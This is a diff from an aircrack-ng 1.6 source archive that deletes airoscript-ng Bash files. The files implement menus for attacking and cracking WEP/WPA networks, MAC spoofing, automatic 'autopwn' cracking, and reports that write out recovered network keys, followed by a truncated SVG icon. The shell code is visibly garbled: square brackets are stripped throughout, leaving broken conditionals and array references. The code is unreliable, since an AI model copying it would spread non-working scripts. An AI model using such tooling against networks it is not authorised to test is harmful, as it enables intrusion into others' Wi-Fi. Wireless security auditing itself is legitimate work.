-    execute "" $AIRODUMP --ignore-negative-one -w $DUMP_PATH/dump --encrypt $ENCRYPT -a $wifi
-    wait_for_execute=0
-    export SCAN=0
-}
-
-Host_ssidinput(){
-    single_question $"Please enter Host SSID";
-    Host_SSID="$ans";
-    $clear
-}
-
-setaircrackpaths(){
-    AIRMON="${SBINDIR}airmon-ng"
-    AIRODUMP="${SBINDIR}airodump-ng"
-    AIREPLAY="${SBINDIR}aireplay-ng --ignore-negative-one"
-    AIRCRACK="${BINDIR}aircrack-ng"
-    ARPFORGE="${BINDIR}packetforge-ng"
-    WESSIDE="${SBINDIR}wesside-ng"
-    AIRSERV="${SBINDIR}airserv-ng"
-    TKIPTUN="${SBINDIR}tkiptun-ng"
-    IVSTOOLS="${SBINDIR}ivstools"
-    BUDDY="${SBINDIR}buddy-ng"
-    EASSIDE="${SBINDIR}easside-ng"
-    MACCHANGER="${BINDIR}macchanger"
-    AIRGRAPH="${BINDIR}airgraph-ng"
-    AIRDECLOAK="${BINDIR}airdecloak-ng"
-    KSTATS=$BINDIR"kstats"
-    iwconfig="iwconfig"
-}
-
-confwarn(){
-$'Youre going to use a config file on your home or current dir.
-This may be harmfull, for example, if your user have been
-compromised, and youre getting rights trought sudo, someone
-can modify your config file to do something malicious as
-root. Be sure to check your home config file before using it.
-Defaults on /etc/airoscript-ng.conf should be ok so you can
-safely remove your ~/.airoscript-ng.conf\n\n
-Do you really want to do it (yes/No): '
-}
-get_current_mac(){
-    while read line; do
-         $line =~ ^$wificard\S*(.*)HWaddr\S*(.*)  &&
-        echo ${BASH_REMATCH2};
-    done < <( ifconfig )
-}
-testmac(){
-    if  "$TYPE" = "Atherosmadwifi-ng" ; then
-        FAKE_MAC=$(get_current_mac)
-        $"Changed fake_mac :" " $FAKE_MAC"
-        return
-    fi
-     $auto_fake_mac == 1  && {  $set_wifi_by_args != 1  && { markwarn $"Automatically setting fake mac";  wichchangemac 1 ; }; }
-}
-
-filter_ssid(){
-     -n "$filter_ssid_"  && { echo; echo;
-        tag; warn "${mark}Filtering essid to $filter_ssid_ "
-        while read line; do
-             $line =~ (.*)${filter_ssid_}(.*)  && echo $line >> $DUMP_PATH/dump-02.csv
-        done <<< $DUMP_PATH/dump-01.csv
-    }
-}
-
-

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/src/functions/menu Deleted

@@ -1,144 +0,0 @@
-# Funcion file used by airoscript
-# Copyright (C) 2010-2011 David Francos Cuartero
-#        This program is free software; you can redistribute it and/or
-#        modify it under the terms of the GNU General Public License
-#        as published by the Free Software Foundation; either version 2
-#        of the License, or (at your option) any later version.
-
-#        This program is distributed in the hope that it will be useful,
-#        but WITHOUT ANY WARRANTY; without even the implied warranty of
-#        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#        GNU General Public License for more details.
-
-#        You should have received a copy of the GNU General Public License
-#        along with this program; if not, write to the Free Software
-#        Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
-
-mainmenu(){
-    $clear
-
-     $TERMINAL == "airoscript_quiet"  && {
-         $notification != ""  && notify $notification;
-        mkmenu $"Main Menu" $"Attack - Attack target" $"Crack  - Get target key"  $"Select - Reselect target" $"Others - Various utilities" $"Autopwn- Automatic cracking" "Window - Window list" $"Exit   - Quits"
-        window=1;
-    }  || {
-         $notification != ""  && notify $notification;
-        mkmenu $"Main Menu" $"Attack - Attack target" $"Crack  - Get target key"  $"Select - Reselect target" $"Others - Various utilities" $"Autopwn- Automatic cracking" $"Exit  - Quits"
-    }
-        for choix  in ${choice*}; do
-            case "$choix" in
-                1) menu_attack;;
-                2) if  x$interactive == x0 ; then auto; else menu_crack; fi ;;
-                3) select_ap;;
-                4) menu_extra;;
-                5) check_function autopwn || source $path/autocrack; autopwn runner;;
-                6)  $window  && { menu_windows; } || { check_function doexit || source $path/internal/exit; doexit; } ;;
-                7) check_function doexit || source $path/internal/exit; doexit;;
-                *) $clear && markwarn $"ERROR: Wrong number entered";;
-            esac
-        done
-    mainmenu
-}
-
-menu_windows(){
-    cd $DUMP_PATH/Terminals
-    clear;
-    windows=(*)
-    mkmenu "Window list" * "Back to main menu"
-     $choice == ${#windows}  && return;
-    echo; clear;
-    notify "Press ctrl + c to return to airoscript"
-    tail_launched=1;
-    tail -f "${windows$choice - 1}"
-    tail_launched=0;
-    cd -
-}
-menu_attack(){
-    monmode &>/dev/null
-    if  "$Host_ENC" =~ (.*)"WEP"(.*) ; then attack_wep
-    elif  "$Host_ENC" =~ (.*)"WPA"(.*) ; then attack_wpa
-    else attack_opn; fi
-}
-
-menu_crack(){
-    check_function crack_wep || source $path/crack/main
-         ! -e $DUMP_PATH/$Host_MAC-01.cap  && { error $"You have no IVS, please attack first." ; return; }
-            while true; do
-                mkmenu $"WEP/WPA Cracking Options" $"Crack with manual dictionary" $"Standard aircrack-ng" $"Return to menu"
-                case $choice in
-                    1 ) export crack_extra_opts=" -w $WORDLIST"; selectcracking; break ;;
-                    2 ) selectcracking ; break ;;
-                    3 ) $clear; break;;
-                    * ) echo $"Unknown response. Try again" ;;
-                esac
-            done
-}
-
-menu_type(){
-    if  "$AUTO" == 1 ; then ENCRYPT="$1"; choosescan; return; fi
-    if  "$AUTO" == 2 ; then ENCRYPT="$1"; choosescan; return; fi
-
-    while true; do echo
-        mkmenu $"Select encryption" "No filter" "OPN (open)" "WEP" "WPA" "WPA1" "WPA2" $"Return to main menu"
-        case $choice in
-            1 ) ENCRYPT=""     ; choosescan; break ;;
-            2 ) ENCRYPT="OPN"  ; choosescan; break ;;
-            3 ) ENCRYPT="WEP"  ; choosescan; break ;;
-            4 ) ENCRYPT="WPA"  ; choosescan; break ;;
-            5 ) ENCRYPT="WPA1" ; choosescan; break ;;
-            6 ) ENCRYPT="WPA2" ; choosescan; break ;;
-            7 ) break;;
-             * ) echo $"Unknown response. Try again"   ;;
-         esac
-    done
-}
-
-choosescan(){
-    if  "$AUTO" == 1 ; then Scan; return; fi
-    if  "$AUTO" == 2 ; then Scan; return; fi
-
-    while true; do
-        mkmenu $"Channel" $"Channel Hoping" $"Specific Channel"
-        case $choice in
-            1 ) Scan 1 ;break;;
-            2 ) Scanchan;break;;
-            * ) echo $"Unknown response. Try again" ;;
-        esac
-    done
-}
-
-select_ap(){
-    check_function select_target || source $path/internal/scansel
-        if  -e $DUMP_PATH/dump-01.csv ; then
-            while read line; do
-                 $line =~ ^Station\ MAC,(.*)  && next=0;
-                 $next == 1  && echo $line;
-                 $line =~ ^BSSID,(.*)  && next=1;
-            done < ${DUMP_PATH}/dump-01.csv | tac > ${DUMP_PATH}/dump-02.csv
-
-            filter_ssid
-            selectAp; $clear
-            if  "$Host_SSID" = $'\r' ; then blankssid;
-            elif  "$Host_SSID" = "No SSID has been detected" ; then blankssid; fi
-            select_target; target
-        else $clear && markwarn $'ERROR: You have to scan for targets first'; fi
-}
-
-menu_extra(){
-    check_function menu_options || source $path/attacks/others
-    while true; do
-        mkmenu $"Extra tools" $"Airoscript Options" $"Advanced tools" $"External plugins" $"Return to main menu"
-        case $choice in
-            1) menu_options; $clear; break;;
-            2) othertmenu; $clear; break;;
-            3) menu_plugins; $clear; break;;
-            4) $clear;break ;;
-            * ) echo $"Unknown response. Try again" ;;
-        esac
-    done
-}
-
-menu_plugins(){
-    a_menu=( "${p_menu@}" ); a_menu+=("Return to main menu"); mkmenu "External plugins" "${a_menu@}"
-    ${p_menu$choice - 1/ /_} || { $clear; warn "Wrong option, try again"; menu_plugins; }
-}

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/src/functions/reporting Deleted

@@ -1,85 +0,0 @@
-# Copyright (C)  2011 David Francos Cuartero
-
-#        This program is free software; you can redistribute it and/or
-#        modify it under the terms of the GNU General Public License
-#        as published by the Free Software Foundation; either version 2
-#        of the License, or (at your option) any later version.
-
-#        This program is distributed in the hope that it will be useful,
-#        but WITHOUT ANY WARRANTY; without even the implied warranty of
-#        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#        GNU General Public License for more details.
-
-#        You should have received a copy of the GNU General Public License
-#        Along with this program; if not, write to the Free Software
-#        Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
-
-report_file=$DUMP_PATH/$Host_MAC.report
-
-report_proto_stats(){
-    check_function tcpdstat_ || source $path/plugins/tcpdstat
-    echo "${warn}Loading tcpdstat plugin"
-    _tcpdstat
-}
-
-_get_report_data(){ kstatsmenu auto; _airgraph; report_proto_stats; }
-
-_make_report(){
-# Virtual function so I can easily override make_report while preserving this one.
-    cp $path/templates/start.html ${report_file}.html;
-    echo "<h1 class=\"title\">Report for $Host_SSID : $Host_MAC </h1>" >> ${report_file}.html
-    echo "<div id='network_data' class='section'>" >> ${report_file}.html
-    report_html &>> ${report_file}.html
-    echo "</div><div id='kstats' class='section'><pre>" >> ${report_file}.html
-    cat $DUMP_PATH/$Host_MAC.report_proto_stats $DUMP_PATH/$Host_MAC.kstats >> ${report_file}.html
-    echo "</pre></div><div id='graphs' class='section'><img src=\"./$Host_MAC.png\" /></div>" >> ${report_file}.html
-    echo "<div id='warnings' class='section'>" >> ${report_file}.html
-    get_html_warnings >> ${report_file}.html
-    echo "</div>" >> ${report_file}.html
-    cat $path/templates/end >> ${report_file}.html
-}
-
-make_report(){  -e $DUMP_PATH/$Host_MAC.key  && { _get_report_data; _make_report &>/dev/null; }; }
-
-get_html_warnings(){ get_warnings; while read warning; do echo "<p class='warning'> ${warning} </p>"; done < ${report_file}.warns; }
-
-get_warnings(){
-     -e $DUMP_PATH/$Host_MAC.key  || return
-    key=`cat $DUMP_PATH/$Host_MAC.key`
-     "$Host_ENC" =~ (.*)"WEP"(.*)  && echo "WEP encription is unsecure and should not be used" >> ${report_file}.warns
-    (( ${#key} < 104 )) && echo "Key lenght is less than 104 bytes" >> ${report_file}.warns
-}
-
-report_html(){
-     -e $DUMP_PATH/$Host_MAC.key  || return
-    key=`cat $DUMP_PATH/$Host_MAC.key`
-    echo "<p><span style='font-weight:bolder'>Network SSID </span> $Host_SSID</p>"
-    echo "<p><span style='font-weight:bolder'>Network MAC </span> $Host_MAC</p>"
-    echo "<p><span style='font-weight:bolder'>Network channel </span> $Host_CHAN</p>"
-    echo "<p><span style='font-weight:bolder'>Network encription </span> $Host_ENC</p>"
-    echo "<p><span style='font-weight:bolder'>Network speed </span> $Host_SPEED</p>"
-    echo "<p><span style='font-weight:bolder'>Network key </span> $key"
-}
-
-report_mode(){
-	 -e $DUMP_PATH/$Host_MAC.key  || { error "${mark} Couldn't crack network"; return; }
-    key=`cat $DUMP_PATH/$Host_MAC.key`
-    echo -e "Network, Mac, Channel, Encription, Speed, key\n$Host_SSID, $Host_MAC, $Host_CHAN, $Host_ENC, $Host_SPEED, $key" > ${report_file}_standard.csv
-}
-
-kstatsmenu(){
-    $IVSTOOLS --convert $DUMP_PATH/$Host_MAC.cap $DUMP_PATH/$Host_MAC.ivs &> /dev/null &&
-    $KSTATS $DUMP_PATH/$Host_MAC.ivs `cat $DUMP_PATH/$Host_MAC.key` &> $DUMP_PATH/$Host_MAC.kstats
-     $1 == ""  && less $DUMP_PATH/$Host_MAC.kstats
-}
-
-_airgraph(){
-    if  "$Host_MAC" != "" ; then
-        read -p $"Enter format (CPG|CAPR) (CAPR by default): " g
-	 $g != "CPG"  && g="CAPR"
-        export wait_for_execute=1; AUTO=1; execute $"Generating graphics" $AIRGRAPH -i $DUMP_PATH/$Host_MAC-01.csv -o $DUMP_PATH/$Host_MAC.png -g $g; export wait_for_execute=0; AUTO=0;
-        read -p $"Do you want to launch a browser? y|N " yn # Didn't like it.
-         $yn == "y"  && x-www-browser $DUMP_PATH/$Host_MAC.png
-    else $clear; echo $"Error: You have to scan for targets first"; fi
-
-}

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/src/goodies Deleted

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/src/goodies/airoscript-ng.desktop Deleted

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/src/goodies/airoscript-ng_gtk.desktop Deleted

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/src/goodies/airoscript.png Deleted

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/src/goodies/airoscript.svg Deleted

@@ -1,2560 +0,0 @@
-<?xml version="1.0" encoding="UTF-8" standalone="no"?>
-
-
-<svg
-   xmlns:dc="http://purl.org/dc/elements/1.1/"
-   xmlns:cc="http://creativecommons.org/ns#"
-   xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
-   xmlns:svg="http://www.w3.org/2000/svg"
-   xmlns="http://www.w3.org/2000/svg"
-   xmlns:xlink="http://www.w3.org/1999/xlink"
-   xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
-   xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
-   inkscape:output_extension="org.inkscape.output.svg.inkscape"
-   id="svg2"
-   version="1.0"
-   inkscape:version="0.48.3.1 r9886"
-   sodipodi:version="0.32"
-   height="300"
-   inkscape:export-ydpi="90"
-   inkscape:export-xdpi="90"
-   width="400"
-   sodipodi:docname="airoscript.svg"
-   inkscape:export-filename="/home/kris/Billeder/Inkscape/Echo/utilities-terminal.png">
-  <defs
-     id="defs4">
-    <inkscape:perspective
-       inkscape:vp_x="0 : 150 : 1"
-       inkscape:persp3d-origin="200 : 100 : 1"
-       inkscape:vp_y="0 : 1000 : 0"
-       inkscape:vp_z="400 : 150 : 1"
-       sodipodi:type="inkscape:persp3d"
-       id="perspective172" />
-    <linearGradient
-       id="Black">
-      <stop
-         id="stop7058"
-         offset="0"
-         style="stop-color:#242424;stop-opacity:1;" />
-      <stop
-         id="stop7062"
-         offset="1"
-         style="stop-color:#696969;stop-opacity:1;" />
-    </linearGradient>
-    <linearGradient
-       id="Blue">
-      <stop
-         id="stop4497"
-         offset="0"
-         style="stop-color:#0084c8;stop-opacity:1" />
-      <stop
-         id="stop4501"
-         offset="0.46583393"
-         style="stop-color:#19aeff;stop-opacity:1" />
-      <stop
-         id="stop4499"
-         offset="1"
-         style="stop-color:#d9f2ff;stop-opacity:1" />
-    </linearGradient>
-    <linearGradient
-       id="BrightBrown">
-      <stop
-         id="stop3309"
-         offset="0"
-         style="stop-color:#dcb966;stop-opacity:1" />
-      <stop
-         id="stop3311"
-         offset="1"
-         style="stop-color:#efdaa7;stop-opacity:1" />
-    </linearGradient>
-    <linearGradient
-       id="BrightMetallic">
-      <stop
-         id="stop3356"
-         offset="0"
-         style="stop-color:#96adb8;stop-opacity:1;" />
-      <stop
-         id="stop3358"
-         offset="1"
-         style="stop-color:#f3f5f6;stop-opacity:1" />
-    </linearGradient>
-    <linearGradient
-       id="BrightOrange">
-      <stop
-         id="stop5109"
-         offset="0"
-         style="stop-color:#ff9900;stop-opacity:1" />
-      <stop
-         id="stop5111"
-         offset="1"
-         style="stop-color:#ffff3e;stop-opacity:1" />
-    </linearGradient>
-    <linearGradient
-       id="Brown">
-      <stop
-         id="stop3249"
-         offset="0"
-         style="stop-color:#b97e23;stop-opacity:1" />
-      <stop
-         id="stop3251"
-         offset="0.69898194"
-         style="stop-color:#c8a561;stop-opacity:1" />
-      <stop
-         id="stop3253"
-         offset="1"
-         style="stop-color:#dfc27b;stop-opacity:1" />
-    </linearGradient>
-    <linearGradient
-       id="DarkBlue">
-      <stop
-         id="stop3394"
-         offset="0"
-         style="stop-color:#005c94;stop-opacity:1;" />
-      <stop
-         id="stop3396"
-         offset="1"
-         style="stop-color:#3dbbff;stop-opacity:1;" />
-    </linearGradient>
-    <linearGradient
-       id="DarkBrown">
-      <stop
-         id="stop5995"
-         offset="0"
-         style="stop-color:#88580f;stop-opacity:1" />
-      <stop
-         id="stop5997"
-         offset="0.72332513"
-         style="stop-color:#be923f;stop-opacity:1" />
-      <stop
-         id="stop5999"
-         offset="1"
-         style="stop-color:#d3ae56;stop-opacity:1" />
-    </linearGradient>
-    <linearGradient
-       id="Green">
-      <stop
-         id="stop3256"
-         offset="0"
-         style="stop-color:#009100;stop-opacity:1" />
-      <stop
-         id="stop2446"
-         offset="0.69886363"
-         style="stop-color:#9ade00;stop-opacity:1" />
-      <stop
-         id="stop3259"
-         offset="1"
-         style="stop-color:#ccff42;stop-opacity:1" />
-    </linearGradient>
-    <linearGradient
-       id="Grey">
-      <stop
-         id="stop6655"
-         offset="0"
-         style="stop-color:#6f6f6f;stop-opacity:1" />
-      <stop
-         id="stop6657"
-         offset="1"
-         style="stop-color:#ececec;stop-opacity:1" />
-    </linearGradient>
-    <linearGradient
-       id="Metallic">
-      <stop
-         id="stop9444"
-         offset="0"
-         style="stop-color:#455f6c;stop-opacity:1" />
-      <stop
-         id="stop9446"
-         offset="1"
-         style="stop-color:#e6e9ea;stop-opacity:1" />
-    </linearGradient>
-    <linearGradient
-       id="Orange">
-      <stop
-         id="stop3754"
-         offset="0"
-         style="stop-color:#ff5605;stop-opacity:1" />
-      <stop
-         id="stop3760"
-         offset="0.34611124"
-         style="stop-color:#ff8000;stop-opacity:1" />
-      <stop
-         id="stop3756"
-         offset="1"
-         style="stop-color:#ffdc0d;stop-opacity:1" />
-    </linearGradient>
-    <linearGradient
-       id="Red">
-      <stop
-         id="stop3679"
-         offset="0"
-         style="stop-color:#b50000;stop-opacity:1" />
-      <stop
-         id="stop3681"
-         offset="1"
-         style="stop-color:#ff4141;stop-opacity:1" />
-    </linearGradient>
-    <linearGradient
-       id="Yellow">
-      <stop
-         id="stop4134"
-         offset="0"
-         style="stop-color:#fced00;stop-opacity:1;" />
-      <stop
-         id="stop4136"
-         offset="1"
-         style="stop-color:#ffffa5;stop-opacity:1;" />
-    </linearGradient>
-    <linearGradient
-       id="White">
-      <stop
-         id="stop3225"
-         offset="0"
-         style="stop-color:#dadfe0;stop-opacity:1" />
-      <stop
-         id="stop3227"
-         offset="1"
-         style="stop-color:#ffffff;stop-opacity:1" />
-    </linearGradient>
-    <linearGradient
-       id="BorderBlack">
-      <stop
-         id="stop7066"
-         offset="0"
-         style="stop-color:#000000;stop-opacity:1;" />
-      <stop
-         id="stop7068"
-         offset="1"
-         style="stop-color:#121416;stop-opacity:1;" />
-    </linearGradient>
-    <linearGradient
-       id="BorderBlue">
-      <stop
-         id="stop4489"
-         offset="0"
-         style="stop-color:#004874;stop-opacity:1;" />
-      <stop
-         id="stop4491"
-         offset="1"
-         style="stop-color:#019fff;stop-opacity:1;" />
-    </linearGradient>
-    <linearGradient
-       id="BorderBrightBrown">
-      <stop
-         id="stop5977"
-         offset="0"
-         style="stop-color:#804d00;stop-opacity:1" />
-      <stop
-         id="stop5979"
-         offset="1"
-         style="stop-color:#d3a858;stop-opacity:1;" />
-    </linearGradient>
-    <linearGradient
-       id="BorderBrightMetallic">
-      <stop
-         id="stop7389"
-         offset="0"
-         style="stop-color:#3e5e6c;stop-opacity:1;" />
-      <stop
-         id="stop7391"
-         offset="1"
-         style="stop-color:#7696a4;stop-opacity:1;" />
-    </linearGradient>
-    <linearGradient
-       id="BorderBrightOrange">
-      <stop
-         id="stop5219"
-         offset="0"
-         style="stop-color:#ad4c0c;stop-opacity:1;" />
-      <stop
-         id="stop5221"
-         offset="1"
-         style="stop-color:#d09f07;stop-opacity:1;" />
-    </linearGradient>
-    <linearGradient
-       id="BorderBrown">
-      <stop
-         id="stop6003"
-         offset="0"
-         style="stop-color:#563300;stop-opacity:1;" />
-      <stop
-         id="stop6005"
-         offset="1"
-         style="stop-color:#a5680b;stop-opacity:1;" />
-    </linearGradient>
-    <linearGradient
-       id="BorderDarkBlue">
-      <stop
-         id="stop8223"
-         offset="0"
-         style="stop-color:#001826;stop-opacity:1;" />
-      <stop
-         id="stop8225"
-         offset="1"
-         style="stop-color:#00578c;stop-opacity:1;" />
-    </linearGradient>
-    <linearGradient
-       id="BorderDarkBrown">
-      <stop
-         id="stop6009"
-         offset="0"
-         style="stop-color:#1e1200;stop-opacity:1;" />
-      <stop
-         id="stop6011"
-         offset="1"
-         style="stop-color:#804d00;stop-opacity:1" />
-    </linearGradient>
-    <linearGradient
-       id="BorderGreen">
-      <stop
-         id="stop4075"
-         offset="0"
-         style="stop-color:#001700;stop-opacity:1;" />
-      <stop
-         id="stop4077"
-         offset="1"
-         style="stop-color:#2db300;stop-opacity:1;" />
-    </linearGradient>
-    <linearGradient
-       id="BorderGrey">
-      <stop
-         id="stop3910"
-         offset="0"
-         style="stop-color:#2a3336;stop-opacity:1;" />
-      <stop
-         id="stop3912"
-         offset="1"
-         style="stop-color:#808f96;stop-opacity:1;" />
-    </linearGradient>
-    <linearGradient
-       id="BorderMetallic">
-      <stop
-         id="stop9529"
-         offset="0"
-         style="stop-color:#0e232e;stop-opacity:1" />
-      <stop
-         id="stop9531"
-         offset="1"
-         style="stop-color:#6f8f9c;stop-opacity:1;" />
-    </linearGradient>
-    <linearGradient
-       id="BorderOrange">
-      <stop
-         id="stop5532"
-         offset="0"
-         style="stop-color:#4f3200;stop-opacity:1;" />
-      <stop
-         id="stop5534"
-         offset="1"
-         style="stop-color:#b25f28;stop-opacity:1;" />
-    </linearGradient>
-    <linearGradient
-       id="BorderRed">
-      <stop
-         id="stop3061"
-         offset="0"
-         style="stop-color:#200000;stop-opacity:1;" />
-      <stop
-         id="stop3063"
-         offset="1"
-         style="stop-color:#970000;stop-opacity:1;" />
-    </linearGradient>
-    <linearGradient
-       id="BorderYellow">
-      <stop
-         id="stop4848"
-         offset="0"
-         style="stop-color:#9b9506;stop-opacity:1;" />
-      <stop
-         id="stop4850"
-         offset="1"
-         style="stop-color:#d0c404;stop-opacity:1;" />
-    </linearGradient>
-    <linearGradient
-       id="BorderWhite">
-      <stop
-         id="stop3211"
-         offset="0"
-         style="stop-color:#65777f;stop-opacity:1" />
-      <stop
-         id="stop3213"
-         offset="1"
-         style="stop-color:#8999a0;stop-opacity:1" />
-    </linearGradient>
-    <linearGradient
-       xlink:href="#BorderGreen"
-       y1="85.75"
-       inkscape:collect="always"
-       x1="529.25"
-       y2="44.25"
-       x2="523"
-       id="linearGradient4079"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="translate(45,-42)" />
-    <linearGradient
-       xlink:href="#BorderRed"
-       y1="85.75"
-       inkscape:collect="always"
-       x1="465.25"
-       y2="44.25"
-       x2="457"
-       id="linearGradient3065"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="translate(45,-42)" />
-    <linearGradient
-       xlink:href="#Green"
-       y1="94"
-       inkscape:collect="always"
-       x1="449"
-       y2="37"
-       x2="466"
-       id="linearGradient3299"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="translate(111,-42)" />
-    <linearGradient
-       xlink:href="#Red"
-       y1="85"
-       inkscape:collect="always"
-       x1="451"
-       y2="45"
-       x2="463"
-       id="linearGradient3057"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="translate(45,-42)" />
-    <linearGradient
-       xlink:href="#Blue"
-       y1="98"
-       inkscape:collect="always"
-       x1="450"
-       y2="37"
-       x2="463"
-       id="linearGradient4483"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="translate(177,-42)" />
-    <linearGradient
-       xlink:href="#BorderBlue"
-       y1="85.75"
-       inkscape:collect="always"
-       x1="589"
-       y2="44.25"
-       x2="581.75"
-       id="linearGradient4493"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="translate(45,-42)" />
-    <linearGradient
-       xlink:href="#Yellow"
-       y1="85"
-       inkscape:collect="always"
-       x1="451"
-       y2="45"
-       x2="463"
-       id="linearGradient4519"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="translate(45,23)" />
-    <linearGradient
-       xlink:href="#BorderBrightOrange"
-       y1="85.75"
-       inkscape:collect="always"
-       x1="529.25"
-       y2="44.25"
-       x2="523"
-       id="linearGradient4521"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="translate(45,23)" />
-    <linearGradient
-       xlink:href="#BrightOrange"
-       y1="85"
-       inkscape:collect="always"
-       x1="451"
-       y2="45"
-       x2="462"
-       id="linearGradient4523"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="translate(111,23)" />
-    <linearGradient
-       xlink:href="#BorderOrange"
-       y1="85.75"
-       inkscape:collect="always"
-       x1="589"
-       y2="44.25"
-       x2="581.75"
-       id="linearGradient4525"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="translate(45,23)" />
-    <linearGradient
-       xlink:href="#Orange"
-       y1="85"
-       inkscape:collect="always"
-       x1="451"
-       y2="45"
-       x2="457"
-       id="linearGradient4527"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="translate(177,23)" />
-    <linearGradient
-       xlink:href="#BorderYellow"
-       y1="154.75"
-       inkscape:collect="always"
-       x1="502"
-       y2="113.25"
-       x2="496.75"
-       id="linearGradient4852"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="translate(0,-46)" />
-    <linearGradient
-       xlink:href="#BorderBrightBrown"
-       y1="154.75"
-       inkscape:collect="always"
-       x1="502"
-       y2="113.25"
-       x2="496.75"
-       id="linearGradient5963"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="translate(0,20)" />
-    <linearGradient
-       xlink:href="#BrightBrown"
-       y1="85"
-       inkscape:collect="always"
-       x1="451"
-       y2="45"
-       x2="463"
-       id="linearGradient5965"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="translate(45,89)" />
-    <linearGradient
-       xlink:href="#BorderBrown"
-       y1="85.75"
-       inkscape:collect="always"
-       x1="529.25"
-       y2="44.25"
-       x2="523"
-       id="linearGradient5967"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="translate(45,89)" />
-    <linearGradient
-       xlink:href="#Brown"
-       y1="85"
-       inkscape:collect="always"
-       x1="451"
-       y2="45"
-       x2="462"
-       id="linearGradient5969"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="translate(111,89)" />
-    <linearGradient
-       xlink:href="#BorderDarkBrown"
-       y1="85.75"
-       inkscape:collect="always"
-       x1="589"
-       y2="44.25"
-       x2="581.75"
-       id="linearGradient5971"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="translate(45,89)" />
-    <linearGradient
-       xlink:href="#DarkBrown"
-       y1="85"
-       inkscape:collect="always"
-       x1="451"
-       y2="45"
-       x2="457"
-       id="linearGradient5973"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="translate(177,89)" />
-    <linearGradient
-       xlink:href="#BorderWhite"
-       y1="154.75"
-       inkscape:collect="always"
-       x1="502"
-       y2="113.25"
-       x2="496.75"
-       id="linearGradient6456"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="translate(0,86)" />
-    <linearGradient
-       xlink:href="#White"
-       y1="85"
-       inkscape:collect="always"
-       x1="451"
-       y2="45"
-       x2="463"
-       id="linearGradient6458"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="translate(45,155)" />
-    <linearGradient
-       xlink:href="#BorderGrey"
-       y1="85.75"
-       inkscape:collect="always"
-       x1="529.25"
-       y2="44.25"
-       x2="523"
-       id="linearGradient6460"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="translate(45,155)" />
-    <linearGradient
-       xlink:href="#Grey"
-       y1="95"
-       inkscape:collect="always"
-       x1="449"
-       y2="38"
-       x2="463"
-       id="linearGradient6462"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="translate(111,155)" />
-    <linearGradient
-       xlink:href="#BorderBlack"
-       y1="85.75"
-       inkscape:collect="always"
-       x1="589"
-       y2="44.25"
-       x2="581.75"
-       id="linearGradient6464"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="translate(45,155)" />
-    <linearGradient
-       xlink:href="#Black"
-       y1="85"
-       inkscape:collect="always"
-       x1="451"
-       y2="45"
-       x2="457"
-       id="linearGradient6466"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="translate(177,155)" />
-    <linearGradient
-       xlink:href="#BorderBrightMetallic"
-       y1="154.75"
-       inkscape:collect="always"
-       x1="502"
-       y2="113.25"
-       x2="496.75"
-       id="linearGradient7373"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="translate(0,151)" />
-    <linearGradient
-       xlink:href="#BrightMetallic"
-       y1="85"
-       inkscape:collect="always"
-       x1="451"
-       y2="45"
-       x2="463"
-       id="linearGradient7375"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="translate(45,220)" />
-    <linearGradient
-       xlink:href="#BorderMetallic"
-       y1="85.75"
-       inkscape:collect="always"
-       x1="529.25"
-       y2="44.25"
-       x2="523"
-       id="linearGradient7377"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="translate(45,220)" />
-    <linearGradient
-       xlink:href="#Metallic"
-       y1="85"
-       inkscape:collect="always"
-       x1="448"
-       y2="45"
-       x2="457"
-       id="linearGradient7379"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="translate(111,220)" />
-    <linearGradient
-       xlink:href="#BorderDarkBlue"
-       y1="85.75"
-       inkscape:collect="always"
-       x1="589"
-       y2="44.25"
-       x2="581.75"
-       id="linearGradient7381"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="translate(45,220)" />
-    <linearGradient
-       xlink:href="#DarkBlue"
-       y1="85"
-       inkscape:collect="always"
-       x1="451"
-       y2="45"
-       x2="457"
-       id="linearGradient7383"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="translate(177,220)" />
-    <inkscape:perspective
-       id="perspective4261"
-       inkscape:persp3d-origin="0.5 : 0.33333333 : 1"
-       inkscape:vp_z="1 : 0.5 : 1"
-       inkscape:vp_y="0 : 1000 : 0"
-       inkscape:vp_x="0 : 0.5 : 1"
-       sodipodi:type="inkscape:persp3d" />
-    <linearGradient
